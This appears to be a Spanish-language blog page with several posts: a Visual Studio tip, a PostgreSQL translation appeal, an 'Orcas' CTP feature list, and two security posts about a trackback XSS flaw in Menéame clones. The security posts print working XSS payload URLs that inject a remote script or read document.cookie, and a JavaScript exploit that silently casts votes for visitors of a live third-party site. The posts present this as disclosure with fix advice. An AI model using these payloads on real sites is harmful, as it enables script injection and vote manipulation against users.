Categories
.NET

Proyectos temporales en Visual Studio .NET

Normalmente para poder probar algunas cosas en Visual Studio .NET, necesariamente debes crear un proyecto y guardarlo en una determinada ubicación, aún cuando sabes que difícilmente vuelvas a mirar lo que hiciste.

Buscando la forma de tener proyectos temporales, encontré esta parte de la documentación:

Para habilitar los proyectos temporales en el entorno de desarrollo

  1. En el menú Herramientas, seleccione Opciones.
  2. Expanda el nodo Proyectos y soluciones y seleccione el nodo General.
  3. Asegúrese de que la opción Guardar nuevos proyectos al crearlos no está seleccionada.
  4. Haga clic en el botón Aceptar.
Categories
PHP Seguridad

Importancia de la validación de datos – Demostración

Finalmente, presento un pequeño exploit que hice para aprovechar la falla comentada en anteriores posts. Lo que hace el exploit es enviar un "ataque" XSS para que el script http://test.buayacorp.com/s.js cargue en la página afectada.

javascript:

window.onload = function () {
        var doc = document.body.innerHTML;
        var match = /menealo\((\d+),(\d+),\2,'([^']+)'\)/.exec(doc);
        if (match != null && match.length == 4) {
                var img = '
<img src="/backend/menealo.php?user=' + match[1] + '&id=' + match[2] + '&md5=' + match[3] + '" style="display:none" />';

                document.write(img);
        }
}

Pueden ver el caso de prueba en floreame, a quienes de antemano pido disculpas por las molestias causadas y sugiero que actualizen a la última versión de el script para solucionar esto. Cada vez que entren en esta dirección, automáticamente estarán meneando el enlace enviado.

Código fuente: http.zip

Disclaimer: Este exploit ha sido publicado con el fin de que los pocos lectores de este sitio ayuden en cierta medida a que los responsables de los diferentes clones de Menéame que muestren el listado de trackbacks, puedan corregir la falla descrita en posts anteriores.

Categories
PHP Seguridad

Importancia de la validación de datos

En un post anterior puse un quiz sobre validación de datos, debido a que hubo una enorme cantidad de respuestas :D, quiero hacer unas cuantas aclaraciones y mostrar como un pequeño error puede tener consecuencias nada deseables.

Antes de empezar quiero advertir al ávido lector, que este post será un poco largo.

El error

Voy a tomar las lineas más importantes del quiz mencionado:

php:

##############
# demo.php
$tb_url    = $_POST['url']; # Obtiene el valor del parámetro 'url'

# ...
$excerpt = strip_tags($excerpt);
$excerpt = (strlen($excerpt) > 200) ? substr($excerpt, 0, 200) . '...' : $excerpt;

# Valida que la URL enviada realmente exista
$contents=@file_get_contents($tb_url);
if(!$contents) {       
        die('The provided URL does not seem to work.');
}

##############
# show.php
# Muestra el contenido de la URL ingresada
echo '<li><a href="'.$tb->url.'" title="'.$tb->excerpt.'">'.$tb->title.'</a></li>';

Como seguramente lo han notado, la variable 'url' puede contener cualquier valor, siempre y cuando éste sea accesible al mundo exterior. Veamos algunos ejemplos (se omite intencionalmente los valores de $tb->excerpt y $tb->title, aunque la variable $tb->excerpt también puede contener ciertos valores no deseados):

  1. [http://wwww.buayacorp.com/?] - esta url pasa la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"> ... </a>]
  2. [http://www.buayacorp.com/?" onclick=alert(document.cookie) f="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?" onclick=alert(document.cookie) f=""> ... </a>]
  3. [http://wwww.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href="] - esta url pasa* la "validación" hecha por file_get_contents; show.php mostraría: [<a href="http://www.buayacorp.com/?"><script src=http://www.buayacorp.com/s.js></script><a href=""> ... </a>]

Aprovechando la falla

Si tomamos como base la última dirección URL -que es el que más nos conviene- de los ejemplos mostrados, veremos que se produce un error en file_get_contents, puesto que la mayoría de los servidores web se quejarán de que existen caracteres inválidos y mandarán un error 400 (Bad Request), a continuación parte del log de un servidor Apache 1.33 luego de realizar unas pruebas:

code:

[Mon Sep 18 14:07:51 2006] [error] [client 127.0.0.1] request failed: erroneous characters after protocol string: GET/?u=\"<script src=http://localhost/s.js></script><a\"

La solución a este inconveniente es trivial, ya que sólo es necesario implementar un servidor web que no haga ningún tipo de validación sobre los datos que recibe.

Consecuencias

Esos errores aparentemente inofensivos, permiten hacer en la página afectada, todo lo que se puede hacer (valga la redundancia) con javascript. En un siguiente post mostraré ejemplos reales.

Recomendaciones

  • Jamás confien en los datos que llegan o puedan ser modificados por el cliente.
  • Conozcan su herramienta y/o lenguaje con el que actualmente trabajan, esto les dará una idea clara de que cosas están protegidos(as) y que cosas no.
  • Lean algún(os) libro(s) y visiten sitios relacionados a seguridad.

Menéame y sus clones

Muchos se preguntarán que diablos tiene que ver menéame y sus clones aquí, pero la verdad es que el anterior quiz y este post estan relacionados a una falla de menéame, que fue corregida en parte el 25/09/2006, digo en parte porque existe la posibilidad de que algún spammer hdp pueda enviar todos los trackbacks que quiera. IMHO, sería bueno limitar el número de trackbacks desde una dirección IP en un lapso determinado y luego aplicar filtros antispam sobre los que pasen.

El caso de los clones es otro problema, ya que al parecer muchos de los responsables de estos proyectos no están al tanto de las correciones que se hacen en la versión principal -donde últimamente existe diferencias entre los problemas que muestra la página de reporte de bugs y los problemas solucionados que se especifican en el archivo CHANGES, motivo por el cual muchos clones todavía son vulnerables a ciertos ataques. Sería bueno que Ricardo pueda ofrecer una forma rápida de que los interesados puedan corregir sus versiones ante problemas algo críticos.

Categories
Varios

Ayuda a traducir la documentación de PostgreSQL

Para los interesados en ayudar con la traducción de la documentación de PostgreSQL, pueden hacerlo desde l10n.postgresql.cl/.

Esta es una invitacion a aquellos que desean participar en el (segundo)
proceso de traduccion de la traduccion. Mario Gonzalez ha estado
dedicado duramente al trabajo de escribir una webapp para esta facilitar
esta tarea, de modo que puedan hacerlo desde la comodidad de su browser.

El proceso es sencillo -- en el sitio web encontraran un link para
"crear cuenta", con la cual tendran luego acceso a los distintos
catalogs POT que tienen las cadenas a traducir. Introducen una
traduccion, apretan "enviar" y listo 🙂 La cadena sera posteriormente
chequeada por un "revisor", quien verificara los detalles como acentos,
gramatica, etc, para asegurarnos de obtener una traduccion de buena
calidad.

Encontraran la aplicacion web en http://l10n.postgresql.cl/

Observen que esta es una etapa temprana del sistema; aun no estamos ni
siquiera en periodo de "marcha blanca"; esto es como un pre-beta. Por
favor reporten cualquier problema que encuentren en la webapp.

Con un poco de suerte y el esfuerzo combinado de todos, esperamos poder
contar con el manual traducido en algun futuro no muy lejano, y ademas,
de una manera que pueda mantenerse actualizada sin mucho trabajo, de
manera que no suceda lo que sucedio con el esfuerzo de traduccion
anterior, el cual tuvo una corta vida.

Aquellos que tengan acceso a traducciones masivas (por ej. el de plpgsql
que habian hecho los amigos de inteligentes.com, creo) y quieran
ponerlas a disposicion de este sistema, por favor ponganse en contacto
con nosotros en privado.

Categories
.NET ASP.NET

CTP de Visual Studio “Orcas”

Un CTP de Visual Studio "Orcas" -la siguiente versión de Visual Studio .NET, ha sido publicado como una imagen de Virtual PC.

Las cosas que incluye este CTP son:

  • Improvements on the widely acclaimed Visual Studio 2005 product set
  • Significant investments in improving product quality
  • LINQ to Objects API
    • LINQ to Objects API supports queries over any .NET collection, such as arrays and Generic Lists. This API is defined in the System.Query namespaces inside System.Core.dll.
  • Partial C# 3.0 Language Support: This CTP implements some of the new language features of C# 3.0
    • Local variable type interface
    • Lambda expressions
    • Object initializers
  • Partial C# 3.0 IDE Support: In addition to the C# 3.0 language features there is partial IDE support
    • Colorization and New Keywords in Completion List
    • Edit and Continue Rude Edit Detection
  • Partial VB 9.0 Language support (Due to differences in feature delivery schedules VB implementations of the above C# features will appear in a future CTP)
    • Local variable type inference and Option Infer switch
  • VSTS Improvements in load & unit testing such as unit test for devices
  • Device development improvements
    • VSTS integration
    • Access and modify device security configuration from the IDE
  • Enables developers to build and debug a Windows Vista Application
  • Enables Visual Studio Tools for Office developers to build document-level customizations for Word and Excel 2007
  • Enables eMbedded Visual C++ 4.0 developers to use Visual Studio Code Name “Orcas” to build their existing applications
  • NET Framework improvements such as:
    • New managed add-in model enables developers to add a version-resilient extensibility model to their products.
    • Support for time zone conversion, enumeration and serialization, including cases where Daylight Saving Time rules change over time.
    • Reflection in Partial Trust, enabling sand box scenarios for all applications that depend on these features.
    • The ability to control the garbage collector’s latency mode
    • Improved CLR ThreadPool micro-performance and throughput for worker and IO completion

Fuente: Blog de Fabrice Marguerie